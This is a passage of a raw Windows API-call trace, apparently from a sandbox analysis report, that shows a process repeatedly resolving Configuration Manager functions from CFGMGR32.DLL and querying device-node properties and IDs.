LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.379] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0232.380] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x38, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0232.380] malloc (_Size=0x48) returned 0x196ef0fc120 [0232.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6b5ddaf0, dwHighDateTime=0x1d9eb0c)) [0232.380] SetEvent (hEvent=0x248) returned 1 [0232.384] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.384] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.387] malloc (_Size=0x18) returned 0x196ef0d1e60 [0232.388] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0232.388] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0232.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b5ddaf0, dwHighDateTime=0x1d9eb0c)) [0232.388] SetEvent (hEvent=0x248) returned 1 [0232.394] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.394] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.397] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0232.397] CM_Get_Device_IDA (in: dnDevInst=0x39, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2918&SUBSYS_11001AF4&REV_02\\3&11583659&0&F8") returned 0x0 [0232.397] malloc (_Size=0x48) returned 0x196ef0fbc70 [0232.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6b603d10, dwHighDateTime=0x1d9eb0c)) [0232.397] SetEvent (hEvent=0x248) returned 1 [0232.445] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.445] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.448] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0232.449] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0232.449] malloc (_Size=0x124) returned 0x196ef0d67b0 [0232.449] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0232.450] free (_Block=0x196ef0d67b0) [0232.450] malloc (_Size=0x48) returned 0x196ef0fb950 [0232.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6b677947, dwHighDateTime=0x1d9eb0c)) [0232.450] SetEvent (hEvent=0x248) returned 1 [0232.454] malloc (_Size=0x18) returned 0x196ef0d1980 [0232.454] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.454] free (_Block=0x196ef0d1980) [0232.455] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0232.455] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.455] free (_Block=0x196ef0d1ac0) [0232.455] malloc (_Size=0x18) returned 0x196ef0d1f40 [0232.455] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.455] free (_Block=0x196ef0d1f40) [0232.455] malloc (_Size=0x18) returned 0x196ef0d1f20 [0232.455] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.455] free (_Block=0x196ef0d1f20) [0232.455] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855c60 [0232.455] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0232.455] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0232.455] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0232.455] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa680 [0232.455] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0232.455] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0232.455] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0232.456] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0232.456] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa650, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.456] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa658, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.457] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa660, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.457] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa668, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.457] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa680) returned 1 [0232.458] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855c60) returned 1 [0232.458] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.458] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.463] malloc (_Size=0x18) returned 0x196ef0d1d60 [0232.463] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0232.463] malloc (_Size=0x10e) returned 0x196ef0d67b0 [0232.463] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0232.464] free (_Block=0x196ef0d67b0) [0232.464] malloc (_Size=0x48) returned 0x196ef0fc030 [0232.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6b69c704, dwHighDateTime=0x1d9eb0c)) [0232.464] SetEvent (hEvent=0x248) returned 1 [0232.467] malloc (_Size=0x18) returned 0x196ef0d1b60 [0232.467] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.468] free (_Block=0x196ef0d1b60) [0232.468] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0232.468] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0232.468] free (_Block=0x196ef0d1ae0) [0232.468] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0232.468] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0232.468] free (_Block=0x196ef0d1fa0) [0232.468] malloc (_Size=0x18) returned 0x196ef0d2020 [0232.468] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0232.468] free (_Block=0x196ef0d2020) [0232.468] malloc (_Size=0x18) returned 0x196ef0d2060 [0232.468] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0232.468] free (_Block=0x196ef0d2060) [0232.468] malloc (_Size=0x18) returned 0x196ef0d1f40 [0232.468] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0232.469] free (_Block=0x196ef0d1f40) [0232.469] malloc (_Size=0x18) returned 0x196ef0d1a60 [0232.469] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0232.469] free (_Block=0x196ef0d1a60) [0232.469] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0232.469] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0232.469] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0232.469] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0232.469] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0232.469] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0232.469] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0232.469] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0232.469] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0232.470] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2860, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.470] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2868, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.470] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2870, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.470] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2878, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.470] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2880, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.471] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2888, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.472] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2890, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.472] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0232.473] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0232.473] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.473] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.476] malloc (_Size=0x18) returned 0x196ef0d1d60 [0232.477] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.480] malloc (_Size=0x48) returned 0x196ef0fbf90 [0232.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b6c29b7, dwHighDateTime=0x1d9eb0c)) [0232.480] SetEvent (hEvent=0x248) returned 1 [0232.483] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.483] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.485] 